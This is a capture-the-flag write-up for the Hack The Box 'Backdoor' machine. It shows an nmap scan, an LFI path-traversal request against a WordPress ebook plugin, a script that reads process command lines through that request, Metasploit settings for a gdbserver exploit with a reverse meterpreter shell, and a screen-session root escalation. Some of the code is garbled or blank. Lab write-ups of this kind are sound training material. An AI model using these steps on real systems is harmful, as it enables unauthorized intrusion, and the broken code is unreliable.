Backdoor HTB Writeup | HacktheBox


In this Post, Let’s See how to CTF Backdoor from HTB, If you have any doubts comment down below 👇🏾

This box wasn’t really my favorite. It seemed too much like a puzzle to me. But still, I picked up some neat stuff from it.

Hacking Phases in Backdoor

  1. Getting In: Finding a way into the system.
  2. Scanning with Nmap: Checking which doors (ports) are open.
  3. Browsing Web Pages: Checking out what’s on the websites for clues.
  4. Hunting for WordPress eBook Weakness: Looking for ways to break into WordPress eBook.
  5. Sneaking Through Directories: Finding a backdoor to access directories.
  6. Checking Running Programs: Seeing what’s already up and running on the system.
  7. Scouting for GDB Server Weakness: Searching for any weak spots in the GDB server.
  8. Exploiting GDB Server: Using those weak spots to take control remotely.
  9. Claiming User Flag: Getting a flag showing access as a user.
  10. Boosting Privileges: Upgrading permissions for more control.
  11. Using SUID-Screen Trick: Exploiting a trick with SUID permissions on the ‘screen’ command.
  12. Getting Root Flag: Finally, grabbing a flag that shows total access as the top user.

Let’s Begin

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Nmap showed that there are 3 open ports.

nmap -p- -sC -sV -A --min-rate=400 --min-parallelism=512 -vv backdoor.htb
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
|   256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
1337/tcp open  waste?  syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When checking the web server on port 80, it turned out to be a WordPress site.

I decided to use wpscan to check for any weaknesses we could take advantage of. But it didn’t discover anything. So I had to manually search and explore. That’s when I noticed the “ebook-download” plugin was installed.

I did a fast search on Google and found out that this was vulnerable to LFI (Local File Inclusion).

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Just like it was shown in the Proof of Concept (POC), I attempted to include wp-config.php, and it actually worked.

curl ''

So, I tried to include some files that I thought were important, but I didn’t find anything interesting. Then I remembered that port 1337 was open, but I wasn’t sure what service was running on it. So, I decided to check which process was running that service and find out what it was.

To do this, I created a simple Python script that would check the running process IDs and see what command each process was executing.

import requests, os
from concurrent.futures import ThreadPoolExecutor

url = ""
os.system('seq 1 9999 > ids')
cont = open('ids','r').readlines()

def b(f):
	r = requests.get(url + '/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../proc/' + f.strip() + '/cmdline')
with ThreadPoolExecutor(max_workers=50) as ex:,cont)
python3 > proc
cat proc|uniq

With this I was able to identify gdbserver was running in port 1337.

I found a Metasploit module that could exploit this.

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By following the instructions in the article, I managed to exploit the vulnerability and obtain a meterpreter instance.

sudo msfdb run
use exploit/multi/gdb/gdb_server_exec
set payload linux/x64/meterpreter/reverse_tcp
set RPORT 1337
set LHOST tun0
set LPORT 1234


When I ran linpeas as the “user” user, I noticed that the screen program was running, which is a virtual screen manager.

This indicated that there was a screen session running as root with the name “root”. Additionally, the screen binary had SUID permissions.

Therefore, I managed to attach to that screen session and gain access to a root shell.

screen -x root/root


In conclusion, this box presented a series of steps involving initial access through Nmap scans and web enumeration, followed by the identification of a WordPress vulnerability and successful exploitation through LFI.

Further exploration led to the discovery of an open port and exploitation through a Metasploit module, resulting in obtaining a meterpreter instance.

Subsequently, leveraging a running screen session as root with SUID permissions allowed for escalation to a root shell. This engagement showcased a systematic approach to penetration testing, emphasizing the importance of thorough reconnaissance and exploitation of identified vulnerabilities to gain privileged access.

Also Read: HTB Write-ups

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